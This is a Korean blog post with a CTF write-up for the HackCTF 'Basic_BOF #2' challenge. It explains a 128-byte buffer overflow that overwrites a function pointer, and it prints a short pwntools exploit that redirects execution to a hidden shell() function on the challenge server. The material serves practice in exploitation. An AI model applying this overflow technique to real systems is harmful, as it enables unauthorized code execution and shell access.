본문 바로가기

study/CTF

[HackCTF] Basic_BOF #2

ctf.j0n9hyun.xyz/challenges#Basic_BOF%20#2

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

1. IDA로 파일을 열어서 디컴파일하기

main() 함수

- 포인터 v5은 sup() 함수를 가리키고 있음

sup()

- sup() 함수에서 s의 주소값을 리턴

=> v5은 변수 s를 가리킴

- main() 함수의 7번째 줄을 확인하면 s 변수에 입력값 133Byte를 넣어주는 코드이다. 하지만 v5와 s 변수의 주소공간의 차이는 128Byte로 133byte를 입력하면 변수 s 주소공간을 넘쳐서 v5에 쓰인다.

2. 사용되지 않은 함수 발견

shell() 함수

- 사용되지 않은 shell() 함수를 발견 하였고, 실행시 쉘 코드를 실행시키는 system() 함수가 쓰였다는걸 알았다.

3. exploit 코드 작성하기

- 변수 s에는 일반 문자열이 저장되도록 하고, s의 저장공간 128 byte 이후에는 shell() 함수의 주소값이 입력되도록 하여 포인터 v5가 shell()함수를 가리키도록 한다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3001)

attack = 0x0804849B
print attack

payload = 'A' * 128
payload += p32(attack)

p.sendline(payload)
p.interactive()

- python exploit code 실행

'study > CTF' 카테고리의 다른 글

[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2020.09.25
[HackCTF] Basic_FSB  (0) 2020.09.23
[HackCTF] Pwnable - RTL_World  (0) 2020.09.23
[HackCTF] Pwnable - Basic_BOF #1  (0) 2020.09.23
[CTF] pwanable.kr_passcode (PLT와 GOT 개념 정리)  (0) 2020.06.12